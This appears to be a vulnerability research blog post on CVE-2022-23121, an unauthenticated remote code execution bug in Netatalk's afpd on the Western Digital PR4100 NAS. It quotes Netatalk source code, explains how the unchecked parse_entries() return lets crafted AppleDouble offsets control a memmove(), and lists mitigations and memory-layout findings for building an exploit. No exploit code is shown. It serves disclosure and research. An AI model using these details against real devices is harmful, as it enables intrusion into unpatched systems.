Remote Code Execution on Western Digital PR4100 NAS (CVE-2022-23121)

Mooncake Exploit

Summary

This blog post describes an unchecked return value vulnerability found and exploited in September 2021 by Alex Plaskett, Cedric Halbronn and Aaron Adams working at the Exploit Development Group (EDG) of NCC Group. We successfully exploited it at Pwn2Own 2021 competition in November 2021 when targeting the Western Digital PR4100. Western Digital published a firmware update (5.19.117) which entirely removed support for the open source third party vulnerable service "Depreciated Netatalk Service". As this vulnerability was addressed in the upstream Netatalk code, CVE-2022-23121 was assigned and a ZDI advisory published together with a new Netatalk release 3.1.13 distributed which fixed this vulnerability together with a number of others.

Introduction

The vulnerability is in the Netatalk project, which is an open-source implementation of the Apple Filing Protocol (AFP). The Netatalk code is implemented in the /usr/sbin/afpd service and the /lib64/libatalk.so library. The afpd service is running by default on the Western Digital My Cloud Pro Series PR4100 NAS.

This vulnerability can be exploited remotely and does not need authentication. It allows an attacker to get remote code execution as the nobody user on the NAS. This user can access private shares that would normally require authentication.

We have analysed and exploited the vulnerability on the 5.17.107 version, which we detail below but older versions are likely vulnerable too.

Note: The Western Digital My Cloud Pro Series PR4100 NAS is based on the x86_64 architecture.

We have named our exploit "Mooncake". This is because we finished writing our exploit on the 21st September 2021, which happens to be the day of the Mid-Autumn Festival a.k.a Mooncake festival in 2021.

Vulnerability details

Background

DSI / AFP protocols

The Apple Filing Protocol (AFP) is an alternative to the well known Server Message Block (SMB) protocol to share files over the network. The AFP specification can be found here.

AFP is transmitted over the Data Stream Interface (DSI) protocol, itself transmitted over TCP/IP, on TCP port 548.

However, SMB seems to have won the file sharing network protocols battle and AFP is less known, even if still supported in devices such as NAS. The AFP protocol was deprecated in OS X 10.9 and AFP server was removed in OS X 11.

Netatalk

The Netatalk project is an implementation of AFP/DSI for UNIX platforms that was moved to SourceForge in 2000. Its original purposes was to allow UNIX-like operating systems to serve as AFP servers for many Macintosh / OS X clients.

As detailed earlier, AFP is getting less and less interest. This is reflected in the Netatalk project too. The latest Netatalk’s stable release (3.1.12) was released in December 2018 which makes it a rather deprecated and unsupported project.

The Netatalk project was vulnerable to the CVE-2018-1160 vulnerability which was an out-of-bounds write in the DSIOpensession command (dsi_opensession()) in Netatalk < 3.1.12. This was successfully exploited on Seagate NAS due to no ASLR and later on environments with ASLR as part of the Hitcon 2019 CTF challenge.

AppleDouble file format

The AppleSingle and AppleDouble file formats aim to store regular files’ metadata and allows sharing that information between different filesystems without having to worry about interoperability.

The main idea is based on the fact that any filesystem allows to store files as a series of bytes. So it is possible to save regular files’ metadata (a.k.a attributes) into additional files along the regular files and reflect these attributes back to the other end (or at least some of them) if the other end’s filesystem supports them. Otherwise, the additional attributes can be discarded.

The AppleSingle and AppleDouble specification can be found here. The AppleDouble file format is also explained in the samba source code with this diagram:

/*
   "._" AppleDouble Header File Layout:
         MAGIC          0x00051607
         VERSION        0x00020000
         FILLER         0
         COUNT          2
     .-- AD ENTRY[0]    Finder Info Entry (must be first)
  .--+-- AD ENTRY[1]    Resource Fork Entry (must be last)
  |  |   /////////////
  |  '-> FINDER INFO    Fixed Size Data (32 Bytes)
  |      ~~~~~~~~~~~~~  2 Bytes Padding
  |      EXT ATTR HDR   Fixed Size Data (36 Bytes)
  |      /////////////
  |      ATTR ENTRY[0] --.
  |      ATTR ENTRY[1] --+--.
  |      ATTR ENTRY[2] --+--+--.
  |         ...          |  |  |
  |      ATTR ENTRY[N] --+--+--+--.
  |      ATTR DATA 0   <-'  |  |  |
  |      ////////////       |  |  |
  |      ATTR DATA 1   <----'  |  |
  |      /////////////         |  |
  |      ATTR DATA 2   <-------'  |
  |      /////////////            |
  |         ...                   |
  |      ATTR DATA N   <----------'
  |      /////////////
  |         ...          Attribute Free Space
  |
  '----> RESOURCE FORK
            ...          Variable Sized Data
            ...
*/

The afpd binary and libatalk.so library don’t have symbols. However, Western Digital published the Netatalk open-source based implementation they used, as well as the patches they implemented in here due to the GNU General Public License (GPL). The latest source code archive Western Digital published was for version 5.16.105 and does not match the latest version analysed (5.17.107). However, we have confirmed that afpd and netatalk.so have never been modified in all OS 5 versions so far. Consequently, the code shown below is generally refering to the Netatalk source code.

NOTE: Western Digital PR4100 uses the latest 3.1.12 netatalk source code as a base.

Let’s analyse how the netatalk code accepts client connections, parses AFP requests to reach the vulnerable code when dealing with opening fork files stored in the AppleDouble file format.

The main() entry point function initialises lots of objects in memory, loads the AFP configuration, and starts listening on the AFP port (TCP 548).

//netatalk-3.1.12/etc/afpd/main.c
int main(int ac, char **av)
{
    ...
    /* wait for an appleshare connection. parent remains in the loop
     * while the children get handled by afp_over_{asp,dsi}.  this is
     * currently vulnerable to a denial-of-service attack if a
     * connection is made without an actual login attempt being made
     * afterwards. establishing timeouts for logins is a possible
     * solution. */
    while (1) {
        ...
        for (int i = 0; i < asev->used; i++) {
            if (asev->fdset[i].revents & (POLLIN | POLLERR | POLLHUP | POLLNVAL)) {
                switch (asev->data[i].fdtype) {

                case LISTEN_FD:
                    if ((child = dsi_start(&obj, (DSI *)(asev->data[i].private), server_children))) {
                        ...
                    }
                    break;
    ...
```

The dsi_start() function basically calls into 2 functions: dsi_getsession() and afp_over_dsi().

//netatalk-3.1.12/etc/afpd/main.c
static afp_child_t *dsi_start(AFPObj *obj, DSI *dsi, server_child_t *server_children)
{
    afp_child_t *child = NULL;

    if (dsi_getsession(dsi, server_children, obj->options.tickleval, &child) != 0) {
        LOG(log_error, logtype_afpd, "dsi_start: session error: %s", strerror(errno));
        return NULL;
    }

    /* we've forked. */
    if (child == NULL) {
        configfree(obj, dsi);
        afp_over_dsi(obj); /* start a session */
        exit (0);
    }

    return child;
}

The dsi_getsession() calls into a dsi->proto_open function pointer which is dsi_tcp_open():

//netatalk-3.1.12/libatalk/dsi/dsi_getsess.c
/*!
 * Start a DSI session, fork an afpd process
 *
 * @param childp    (w) after fork: parent return pointer to child, child returns NULL
 * @returns             0 on sucess, any other value denotes failure
 */
int dsi_getsession(DSI *dsi, server_child_t *serv_children, int tickleval, afp_child_t **childp)
{
  ...
  switch (pid = dsi->proto_open(dsi)) { /* in libatalk/dsi/dsi_tcp.c */

The dsi_tcp_open() function accepts a client connection, creates a subprocess with fork() and starts initialising the DSI session with the client.

Teaser: That will be useful for exploitation.

/* accept the socket and do a little sanity checking */
static pid_t dsi_tcp_open(DSI *dsi)
{
    pid_t pid;
    SOCKLEN_T len;

    len = sizeof(dsi->client);
    dsi->socket = accept(dsi->serversock, (struct sockaddr *) &dsi->client, &len);
    ...
   if (0 == (pid = fork()) ) { /* child */
        ...
    }

    /* send back our pid */
    return pid;
}

Back into dsi_getsession(), the parent afpd sets *childp != NULL whereas the forked child afpd handling the client connection sets *childp == NULL

//netatalk-3.1.12/libatalk/dsi/dsi_getsess.c
/*!
 * Start a DSI session, fork an afpd process
 *
 * @param childp    (w) after fork: parent return pointer to child, child returns NULL
 * @returns             0 on sucess, any other value denotes failure
 */
int dsi_getsession(DSI *dsi, server_child_t *serv_children, int tickleval, afp_child_t **childp)
{
  ...
  switch (pid = dsi->proto_open(dsi)) { /* in libatalk/dsi/dsi_tcp.c */
  case -1:
    /* if we fail, just return. it might work later */
    LOG(log_error, logtype_dsi, "dsi_getsess: %s", strerror(errno));
    return -1;

  case 0: /* child. mostly handled below. */
    break;

  default: /* parent */
    /* using SIGKILL is hokey, but the child might not have
     * re-established its signal handler for SIGTERM yet. */
    close(ipc_fds[1]);
    if ((child = server_child_add(serv_children, pid, ipc_fds[0])) ==  NULL) {
      LOG(log_error, logtype_dsi, "dsi_getsess: %s", strerror(errno));
      close(ipc_fds[0]);
      dsi->header.dsi_flags = DSIFL_REPLY;
      dsi->header.dsi_data.dsi_code = htonl(DSIERR_SERVBUSY);
      dsi_send(dsi);
      dsi->header.dsi_data.dsi_code = DSIERR_OK;
      kill(pid, SIGKILL);
    }
    dsi->proto_close(dsi);
    *childp = child;
    return 0;
  }
  ...
  switch (dsi->header.dsi_command) {
  ...
  case DSIFUNC_OPEN: /* setup session */
    /* set up the tickle timer */
    dsi->timer.it_interval.tv_sec = dsi->timer.it_value.tv_sec = tickleval;
    dsi->timer.it_interval.tv_usec = dsi->timer.it_value.tv_usec = 0;
    dsi_opensession(dsi);
    *childp = NULL;
    return 0;

  default: /* just close */
    LOG(log_info, logtype_dsi, "DSIUnknown %d", dsi->header.dsi_command);
    dsi->proto_close(dsi);
    exit(EXITERR_CLNT);
  }
}

We are now back into dsi_start(). For the parent, nothing happens and the main() forever loop continues waiting for other client connections. For the child handling the connection, afp_over_dsi() is called. This function reads the AFP packet (which is the DSI payload), determines the AFP command and calls a function pointer inside the afp_switch[] global array to handle that AFP command.

//netatalk-3.1.12/etc/afpd/afp_dsi.c
/* -------------------------------------------
 afp over dsi. this never returns.
*/
void afp_over_dsi(AFPObj *obj)
{
    ...
    /* get stuck here until the end */
    while (1) {
        ...
        /* Blocking read on the network socket */
        cmd = dsi_stream_receive(dsi);
        ...
        switch(cmd) {
        ...
        case DSIFUNC_CMD:
            ...
                /* send off an afp command. in a couple cases, we take advantage
                 * of the fact that we're a stream-based protocol. */
                if (afp_switch[function]) {
                    dsi->datalen = DSI_DATASIZ;
                    dsi->flags |= DSI_RUNNING;

                    LOG(log_debug, logtype_afpd, "<== Start AFP command: %s", AfpNum2name(function));

                    AFP_AFPFUNC_START(function, (char *)AfpNum2name(function));
                    err = (*afp_switch[function])(obj,
                                                  (char *)dsi->commands, dsi->cmdlen,
                                                  (char *)&dsi->data, &dsi->datalen);

The afp_switch[] global array is initialized to the preauth_switch value initially which consists of only a few handlers available pre-authentication. We can guess it is set to the postauth_switch value once the client is authenticated. This gives access to a lot of other AFP features.

//netatalk-3.1.12/etc/afpd/switch.c
/*
 * Routines marked "NULL" are not AFP functions.
 * Routines marked "afp_null" are AFP functions
 * which are not yet implemented. A fine line...
 */
static AFPCmd preauth_switch[] = {
    NULL, NULL, NULL, NULL,
    NULL, NULL, NULL, NULL,					/*   0 -   7 */
    NULL, NULL, NULL, NULL,
    NULL, NULL, NULL, NULL,					/*   8 -  15 */
    NULL, NULL, afp_login, afp_logincont,
    afp_logout, NULL, NULL, NULL,				/*  16 -  23 */
    NULL, NULL, NULL, NULL,
    NULL, NULL, NULL, NULL,					/*  24 -  31 */
    NULL, NULL, NULL, NULL,
    NULL, NULL, NULL, NULL,					/*  32 -  39 */
    NULL, NULL, NULL, NULL,
    NULL, NULL, NULL, NULL,					/*  40 -  47 */
    NULL, NULL, NULL, NULL,
    NULL, NULL, NULL, NULL,					/*  48 -  55 */
    NULL, NULL, NULL, NULL,
    NULL, NULL, NULL, afp_login_ext,				/*  56 -  63 */
    ...
};

AFPCmd *afp_switch = preauth_switch;

AFPCmd postauth_switch[] = {
    NULL, afp_bytelock, afp_closevol, afp_closedir,
    afp_closefork, afp_copyfile, afp_createdir, afp_createfile,	/*   0 -   7 */
    afp_delete, afp_enumerate, afp_flush, afp_flushfork,
    afp_null, afp_null, afp_getforkparams, afp_getsrvrinfo,	/*   8 -  15 */
    afp_getsrvrparms, afp_getvolparams, afp_login, afp_logincont,
    afp_logout, afp_mapid, afp_mapname, afp_moveandrename,	/*  16 -  23 */
    afp_openvol, afp_opendir, afp_openfork, afp_read,
    afp_rename, afp_setdirparams, afp_setfilparams, afp_setforkparams,
    /*  24 -  31 */
    afp_setvolparams, afp_write, afp_getfildirparams, afp_setfildirparams,
    afp_changepw, afp_getuserinfo, afp_getsrvrmesg, afp_createid, /*  32 -  39 */
    afp_deleteid, afp_resolveid, afp_exchangefiles, afp_catsearch,
    afp_null, afp_null, afp_null, afp_null,			/*  40 -  47 */
    afp_opendt, afp_closedt, afp_null, afp_geticon,
    afp_geticoninfo, afp_addappl, afp_rmvappl, afp_getappl,	/*  48 -  55 */
    afp_addcomment, afp_rmvcomment, afp_getcomment, NULL,
    ...
};

Here it is interesting to note that the Western Digital PR4100 has a Public AFP share by default which is available without requiring user authentication. This means we can reach all these post-authentication handlers as long as we target the Public share. It is also worth mentioning that the same Public share is available over the Server Message Block (SMB) protocol to the guest user, without requiring any password. It means we can read / create / modify any files over AFP or SMB as long as they are stored in the Public share.

The AFP command we are interested in is "FPOpenFork", which is handled by the afp_openfork() handler. As detailed previously, a fork file is a special type of file used to store metadata associated with a regular file. The fork file is stored in the AppleDouble file format. The afp_openfork() handler finds the volume and fork file path to open and call ad_open() ("ad" stands for AppleDouble).

//netatalk-3.1.12/etc/afpd/fork.c
/* ----------------------- */
int afp_openfork(AFPObj *obj _U_, char *ibuf, size_t ibuflen _U_, char *rbuf, size_t *rbuflen)
{
    ...
    struct adouble  *adsame = NULL;
    ...
    if ((opened = of_findname(vol, s_path))) {
        adsame = opened->of_ad;
    }
    ...
    if ((ofork = of_alloc(vol, curdir, path, &ofrefnum, eid, adsame, st)) == NULL)
        return AFPERR_NFILE;
    ...
    /* First ad_open(), opens data or ressource fork */
    if (ad_open(ofork->of_ad, upath, adflags, 0666) < 0) {

The ad_open() function is quite generic in that it can open different fork files: a data fork file, a metadata fork file or a resource fork file. Since we are dealing with a resource fork here, we end up calling ad_open_rf() ("rf" stands for resource fork).

NOTE: ad_open() is in libatalk/ folder instead of etc/afpd for the previously discussed code. Consequently, the code we analyse from now on is in libatalk.so.

//netatalk-3.1.12/libatalk/adouble/ad_open.c
/*!
 * Open data-, metadata(header)- or ressource fork
 *
 * ad_open(struct adouble *ad, const char *path, int adflags, int flags)
 * ad_open(struct adouble *ad, const char *path, int adflags, int flags, mode_t mode)
 *
 * You must call ad_init() before ad_open, usually you'll just call it like this: \n
 * @code
 *      struct adoube ad;
 *      ad_init(&ad, vol->v_adouble, vol->v_ad_options);
 * @endcode
 *
 * Open a files data fork, metadata fork or ressource fork.
 *
 * @param ad        (rw) pointer to struct adouble
 * @param path      (r)  Path to file or directory
 * @param adflags   (r)  Flags specifying which fork to open, can be or'd:
 *                         ADFLAGS_DF:        open data fork
 *                         ADFLAGS_RF:        open ressource fork
 *                         ADFLAGS_HF:        open header (metadata) file
 *                         ADFLAGS_NOHF:      it's not an error if header file couldn't be opened
 *                         ADFLAGS_NORF:      it's not an error if reso fork couldn't be opened
 *                         ADFLAGS_DIR:       if path is a directory you MUST or ADFLAGS_DIR to adflags
 *
 *                       Access mode for the forks:
 *                         ADFLAGS_RDONLY:    open read only
 *                         ADFLAGS_RDWR:      open read write
 *
 *                       Creation flags:
 *                         ADFLAGS_CREATE:    create if not existing
 *                         ADFLAGS_TRUNC:     truncate
 *
 *                       Special flags:
 *                         ADFLAGS_CHECK_OF:  check for open forks from us and other afpd's
 *                         ADFLAGS_SETSHRMD:  this adouble struct will be used to set sharemode locks.
 *                                            This basically results in the files being opened RW instead of RDONLY.
 * @param mode      (r)  mode used with O_CREATE
 *
 * The open mode flags (rw vs ro) have to take into account all the following requirements:
 * - we remember open fds for files because me must avoid a single close releasing fcntl locks for other
 *   fds of the same file
 *
 * BUGS:
 *
 * * on Solaris (HAVE_EAFD) ADFLAGS_RF doesn't work without
 *   ADFLAGS_HF, because it checks whether ad_meta_fileno() is already
 *   openend. As a workaround pass ADFLAGS_SETSHRMD.
 *
 * @returns 0 on success, any other value indicates an error
 */
int ad_open(struct adouble *ad, const char *path, int adflags, ...)
{
    ...
    if (adflags & ADFLAGS_RF) {
        if (ad_open_rf(path, adflags, mode, ad) != 0) {
            EC_FAIL;
        }
    }

ad_open_rf() then calls into ad_open_rf_ea():

//netatalk-3.1.12/libatalk/adouble/ad_open.c
/*!
 * Open ressource fork
 */
static int ad_open_rf(const char *path, int adflags, int mode, struct adouble *ad)
{
    int ret = 0;

    switch (ad->ad_vers) {
    case AD_VERSION2:
        ret = ad_open_rf_v2(path, adflags, mode, ad);
        break;
    case AD_VERSION_EA:
        ret = ad_open_rf_ea(path, adflags, mode, ad);
        break;
    default:
        ret = -1;
        break;
    }

    return ret;
}

The ad_open_rf_ea() function opens the resource fork file. Assuming the file already exists, it ends up calling into ad_header_read_osx() to read the actual content, which is in the AppleDouble format:

static int ad_open_rf_ea(const char *path, int adflags, int mode, struct adouble *ad)
{
    ...

#ifdef HAVE_EAFD
    ...
#else
    EC_NULL_LOG( rfpath = ad->ad_ops->ad_path(path, adflags) );
    if ((ad_reso_fileno(ad) = open(rfpath, oflags)) == -1) {
        ...
    }
#endif
    opened = 1;
    ad->ad_rfp->adf_refcount = 1;
    ad->ad_rfp->adf_flags = oflags;
    ad->ad_reso_refcount++;

#ifndef HAVE_EAFD
    EC_ZERO_LOG( fstat(ad_reso_fileno(ad), &st) );
    if (ad->ad_rfp->adf_flags & O_CREAT) {
        /* This is a new adouble header file, create it */
        LOG(log_debug, logtype_ad, "ad_open_rf(\"%s\"): created adouble rfork, initializing: \"%s\"",
            path, rfpath);
        EC_NEG1_LOG( new_ad_header(ad, path, NULL, adflags) );
        LOG(log_debug, logtype_ad, "ad_open_rf(\"%s\"): created adouble rfork, flushing: \"%s\"",
            path, rfpath);
        ad_flush(ad);
    } else {
        /* Read the adouble header */
        LOG(log_debug, logtype_ad, "ad_open_rf(\"%s\"): reading adouble rfork: \"%s\"",
            path, rfpath);
        EC_NEG1_LOG( ad_header_read_osx(rfpath, ad, &st) );
    }
#endif

We have finally reached our vulnerable function: ad_header_read_osx().

Understanding the vulnerability

The ad_header_read_osx() reads the content of the resource fork i.e. interprets it in the AppleDouble file format. Netatalk stores elements of the AppleDouble file format inside its own adouble structure that we will detail soon. ad_header_read_osx() starts by reading the AppleDouble header to determine how many entries there are.

//netatalk-3.1.12/libatalk/adouble/ad_open.c
/* Read an ._ file, only uses the resofork, finderinfo is taken from EA */
static int ad_header_read_osx(const char *path, struct adouble *ad, const struct stat *hst)
{
    ...
    struct adouble      adosx;
    ...
    LOG(log_debug, logtype_ad, "ad_header_read_osx: %s", path ? fullpathname(path) : "");
    ad_init_old(&adosx, AD_VERSION_EA, ad->ad_options);
    buf = &adosx.ad_data[0];
    memset(buf, 0, sizeof(adosx.ad_data));
    adosx.ad_rfp->adf_fd = ad_reso_fileno(ad);

    /* read the header */
    EC_NEG1( header_len = adf_pread(ad->ad_rfp, buf, AD_DATASZ_OSX, 0) );
    ...
    memcpy(&adosx.ad_magic, buf, sizeof(adosx.ad_magic));
    memcpy(&adosx.ad_version, buf + ADEDOFF_VERSION, sizeof(adosx.ad_version));
    adosx.ad_magic = ntohl(adosx.ad_magic);
    adosx.ad_version = ntohl(adosx.ad_version);
    ...
    memcpy(&nentries, buf + ADEDOFF_NENTRIES, sizeof( nentries ));
    nentries = ntohs(nentries);
    len = nentries * AD_ENTRY_LEN;

Then we see it calls into parse_entries() to parse the different AppleDouble entries. What is interesting below is that if parse_entries() fails, it logs an error but does not exit.

    nentries = len / AD_ENTRY_LEN;
    if (parse_entries(&adosx, buf, nentries) != 0) {
        LOG(log_warning, logtype_ad, "ad_header_read(%s): malformed AppleDouble",
            path ? fullpathname(path) : "");
    }

If we look closer at parse_entries(), we see that it sets an error if one of the following condition occurs:

  • The AppleDouble "eid" is zero
  • The AppleDouble "offset" is out of bound
  • When the "eid" does not refer to a resource fork if the AppleDouble "offset" added to the length of the data is out of bound

We know we are dealing with resource forks, so the second condition is interesting. In short, it means we can provide an out of bound AppleDouble "offset" and parse_entries() returns an error, but ad_header_read_osx() ignores that error and continues processing.

//netatalk-3.1.12/libatalk/adouble/ad_open.c
/**
 * Read an AppleDouble buffer, returns 0 on success, -1 if an entry was malformatted
 **/
static int parse_entries(struct adouble *ad, char *buf, uint16_t nentries)
{
    uint32_t   eid, len, off;
    int        ret = 0;

    /* now, read in the entry bits */
    for (; nentries > 0; nentries-- ) {
        memcpy(&eid, buf, sizeof( eid ));
        eid = get_eid(ntohl(eid));
        buf += sizeof( eid );
        memcpy(&off, buf, sizeof( off ));
        off = ntohl( off );
        buf += sizeof( off );
        memcpy(&len, buf, sizeof( len ));
        len = ntohl( len );
        buf += sizeof( len );

        ad->ad_eid[eid].ade_off = off;
        ad->ad_eid[eid].ade_len = len;

        if (!eid
            || eid > ADEID_MAX
            || off >= sizeof(ad->ad_data)
            || ((eid != ADEID_RFORK) && (off + len >  sizeof(ad->ad_data))))
        {
            ret = -1;
            LOG(log_warning, logtype_ad, "parse_entries: bogus eid: %u, off: %u, len: %u",
                (uint)eid, (uint)off, (uint)len);
        }
    }

    return ret;
}

From here, it is useful to know what mitigations are in place to know what we are going to need to bypass and also analyse the code after parse_entries() returns to know what kind of exploitation primitives we can build.

Exploitation

Mitigations in place

Checking the ASLR settings of the kernel:

root@MyCloudPR4100 ~ # cat /proc/sys/kernel/randomize_va_space 
2

From here:

  • 0 – Disable ASLR. This setting is applied if the kernel is booted with the norandmaps boot parameter.
  • 1 – Randomize the positions of the stack, virtual dynamic shared object (VDSO) page, and shared memory regions. The base address of the data segment is located immediately after the end of the executable code segment.
  • 2 – Randomize the positions of the stack, VDSO page, shared memory regions, and the data segment. This is the default setting.

Checking the mitigations of the afpd binary using checksec.py:

[*] '/home/cedric/pwn2own/firmware/wd_pr4100/_WDMyCloudPR4100_5.17.107_prod.bin.extracted/squashfs-root/usr/sbin/afpd'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      PIE enabled

So to summarize:

  • afpd: randomized
    • .text: read/execute
    • .data: read/write
  • Libraries: randomized
  • Heap: randomized
  • Stack: randomized

Since everything is randomized, we are going to need some kind of leak primitive to bypass ASLR. We still need to investigate if we can trigger a path where an out of bound offset access is useful for exploitation.

Finding good exploitation primitives

Let’s analyse the code in ad_header_read_osx() again. Let’s assume the previously discussed parse_entries() function parses an AppleDouble file where some entries can have offsets pointing out of bound. Let’s see what we can do after parse_entries() returns. We see that assuming the if (ad_getentrylen(&adosx, ADEID_FINDERI) != ADEDLEN_FINDERI) { condition passes, it ends up calling into ad_convert_osx().

    nentries = len / AD_ENTRY_LEN;
    if (parse_entries(&adosx, buf, nentries) != 0) {
        LOG(log_warning, logtype_ad, "ad_header_read(%s): malformed AppleDouble",
            path ? fullpathname(path) : "");
    }

    if (ad_getentrylen(&adosx, ADEID_FINDERI) != ADEDLEN_FINDERI) {
        LOG(log_warning, logtype_ad, "Convert OS X to Netatalk AppleDouble: %s",
            path ? fullpathname(path) : "");

        if (retry_read > 0) {
            LOG(log_error, logtype_ad, "ad_header_read_osx: %s, giving up", path ? fullpathname(path) : "");
            errno = EIO;
            EC_FAIL;
        }
        retry_read++;
        if (ad_convert_osx(path, &adosx) == 1) {
            goto reread;
        }
        errno = EIO;
        EC_FAIL;
    }

As the comment below states, the ad_convert_osx() function is responsible for converting the Apple’s AppleDouble file format to a simplified version of the format that is implemented in Netatalk.

We see that the ad_convert_osx() function starts by mapping the original fork file (in the AppleDouble file format) in memory. Then it calls memmove() to discard the FinderInfo part and to move the rest on top of it.

//netatalk-3.1.12/libatalk/adouble/ad_open.c
/**
 * Convert from Apple's ._ file to Netatalk
 *
 * Apple's AppleDouble may contain a FinderInfo entry longer then 32 bytes
 * containing packed xattrs. Netatalk can't deal with that, so we
 * simply discard the packed xattrs.
 *
 * As we call ad_open() which might result in a recursion, just to be sure
 * use static variable in_conversion to check for that.
 *
 * Returns -1 in case an error occured, 0 if no conversion was done, 1 otherwise
 **/
static int ad_convert_osx(const char *path, struct adouble *ad)
{
    EC_INIT;
    static bool in_conversion = false;
    char *map;
    int finderlen = ad_getentrylen(ad, ADEID_FINDERI);
    ssize_t origlen;

    if (in_conversion || finderlen == ADEDLEN_FINDERI)
        return 0;
    in_conversion = true;

    LOG(log_debug, logtype_ad, "Converting OS X AppleDouble %s, FinderInfo length: %d",
        fullpathname(path), finderlen);

    origlen = ad_getentryoff(ad, ADEID_RFORK) + ad_getentrylen(ad, ADEID_RFORK);

    map = mmap(NULL, origlen, PROT_READ | PROT_WRITE, MAP_SHARED, ad_reso_fileno(ad), 0);
    if (map == MAP_FAILED) {
        LOG(log_error, logtype_ad, "mmap AppleDouble: %s\n", strerror(errno));
        EC_FAIL;
    }

    memmove(map + ad_getentryoff(ad, ADEID_FINDERI) + ADEDLEN_FINDERI,
            map + ad_getentryoff(ad, ADEID_RFORK),
            ad_getentrylen(ad, ADEID_RFORK));

Here it is time to look at the adouble structure. The important fields for us are ad_eid[] and ad_data[]. The adouble structure was already populated when the AppleDouble file was read. So we control all these fields.

//netatalk-3.1.12/include/atalk/adouble.h
struct ad_entry {
    off_t     ade_off;
    ssize_t   ade_len;
};

struct adouble {
    uint32_t            ad_magic;         /* Official adouble magic                   */
    uint32_t            ad_version;       /* Official adouble version number          */
    char                ad_filler[16];
    struct ad_entry     ad_eid[ADEID_MAX];

    ...
    char                ad_data[AD_DATASZ_MAX];
};

The functions/macros used to access the EID offset or length fields, as well as the data content are pretty self explanatory:

  • ad_getentryoff(): get an EID offset value
  • ad_getentrylen(): get an EID length value
  • ad_entry(): get the data associated with an EID (by retrieving it from the above offset)
//netatalk-3.1.12/libatalk/adouble/ad_open.c
off_t ad_getentryoff(const struct adouble *ad, int eid)
{
    if (ad->ad_vers == AD_VERSION2)
        return ad->ad_eid[eid].ade_off;

    switch (eid) {
    case ADEID_DFORK:
        return 0;
    case ADEID_RFORK:
#ifdef HAVE_EAFD
        return 0;
#else
        return ad->ad_eid[eid].ade_off;
#endif
    default:
        return ad->ad_eid[eid].ade_off;
    }
    /* deadc0de */
    AFP_PANIC("What am I doing here?");
}
//netatalk-3.1.12/include/atalk/adouble.h
#define ad_getentrylen(ad,eid)     ((ad)->ad_eid[(eid)].ade_len)
#define ad_setentrylen(ad,eid,len) ((ad)->ad_eid[(eid)].ade_len = (len))
#define ad_setentryoff(ad,eid,off) ((ad)->ad_eid[(eid)].ade_off = (off))
#define ad_entry(ad,eid)           ((caddr_t)(ad)->ad_data + (ad)->ad_eid[(eid)].ade_off)

So we control all the fields in the AppleDouble file format. More precisely, we know we can craft an invalid EID "offset" for all the entries we need, due to the previously discussed parse_entries() unchecked return value. Moreover, we can craft a resource fork of the size we want by having larger data. This means we can effectively control the source, destination and length of the memmove() call to write data we control outside of the memory mapping.

NOTE: the entries we want to target are ADEID_FINDERI and ADEID_RFORK:

    memmove(map + ad_getentryoff(ad, ADEID_FINDERI) + ADEDLEN_FINDERI,
            map + ad_getentryoff(ad, ADEID_RFORK),
            ad_getentrylen(ad, ADEID_RFORK));

The next question that comes to mind is where does the memory mapping gets mapped?

From testing, it turns out that if the fork file is less than 0x1000 bytes, the mapped file is allocated in quite high addresses before uams_pam.so, uams_guest.so and ld-2.28.so mappings. More precisely, the ld-2.28.so mapping is always 0xC000 bytes after the beginning of the mapped file, even if ASLR is in place:

(gdb) info proc mappings 
process 26343
Mapped address spaces:

          Start Addr           End Addr       Size     Offset objfile
      0x5579bb534000     0x5579bb53d000     0x9000        0x0 /usr/local/modules/usr/sbin/afpd
      0x5579bb53d000     0x5579bb571000    0x34000     0x9000 /usr/local/modules/usr/sbin/afpd
      0x5579bb571000     0x5579bb57c000     0xb000    0x3d000 /usr/local/modules/usr/sbin/afpd
      0x5579bb57c000     0x5579bb57d000     0x1000    0x47000 /usr/local/modules/usr/sbin/afpd
      0x5579bb57d000     0x5579bb580000     0x3000    0x48000 /usr/local/modules/usr/sbin/afpd
      0x5579bb580000     0x5579bb5a0000    0x20000        0x0 
      0x5579bcd51000     0x5579bcd72000    0x21000        0x0 [heap]
      0x5579bcd72000     0x5579bcd92000    0x20000        0x0 [heap]
      0x7f6c56e30000     0x7f6c56eb0000    0x80000        0x0 
      ...
      0x7f6c57e02000     0x7f6c57e24000    0x22000        0x0 /lib/libc-2.28.so
      0x7f6c57e24000     0x7f6c57f6c000   0x148000    0x22000 /lib/libc-2.28.so
      0x7f6c57f6c000     0x7f6c57fb8000    0x4c000   0x16a000 /lib/libc-2.28.so
      0x7f6c57fb8000     0x7f6c57fb9000     0x1000   0x1b6000 /lib/libc-2.28.so
      0x7f6c57fb9000     0x7f6c57fbd000     0x4000   0x1b6000 /lib/libc-2.28.so
      0x7f6c57fbd000     0x7f6c57fbf000     0x2000   0x1ba000 /lib/libc-2.28.so
      ...
      0x7f6c58129000     0x7f6c58134000     0xb000        0x0 /usr/local/modules/lib/libatalk.so.18.0.0
      0x7f6c58134000     0x7f6c58177000    0x43000     0xb000 /usr/local/modules/lib/libatalk.so.18.0.0
      0x7f6c58177000     0x7f6c58191000    0x1a000    0x4e000 /usr/local/modules/lib/libatalk.so.18.0.0
      0x7f6c58191000     0x7f6c58192000     0x1000    0x67000 /usr/local/modules/lib/libatalk.so.18.0.0
      0x7f6c58192000     0x7f6c58194000     0x2000    0x68000 /usr/local/modules/lib/libatalk.so.18.0.0
      0x7f6c58194000     0x7f6c581b1000    0x1d000        0x0 
      0x7f6c581b2000     0x7f6c581b3000     0x1000        0x0 /mnt/HD/HD_a2/Public/edg/._mooncake
      0x7f6c581b3000     0x7f6c581b4000     0x1000        0x0 /usr/local/modules/lib/netatalk/uams_pam.so
      0x7f6c581b4000     0x7f6c581b6000     0x2000     0x1000 /usr/local/modules/lib/netatalk/uams_pam.so
      0x7f6c581b6000     0x7f6c581b7000     0x1000     0x3000 /usr/local/modules/lib/netatalk/uams_pam.so
      0x7f6c581b7000     0x7f6c581b8000     0x1000     0x3000 /usr/local/modules/lib/netatalk/uams_pam.so
      0x7f6c581b8000     0x7f6c581b9000     0x1000     0x4000 /usr/local/modules/lib/netatalk/uams_pam.so
      0x7f6c581b9000     0x7f6c581ba000     0x1000        0x0 /usr/local/modules/lib/netatalk/uams_guest.so
      0x7f6c581ba000     0x7f6c581bb000     0x1000     0x1000 /usr/local/modules/lib/netatalk/uams_guest.so
      0x7f6c581bb000     0x7f6c581bc000     0x1000     0x2000 /usr/local/modules/lib/netatalk/uams_guest.so
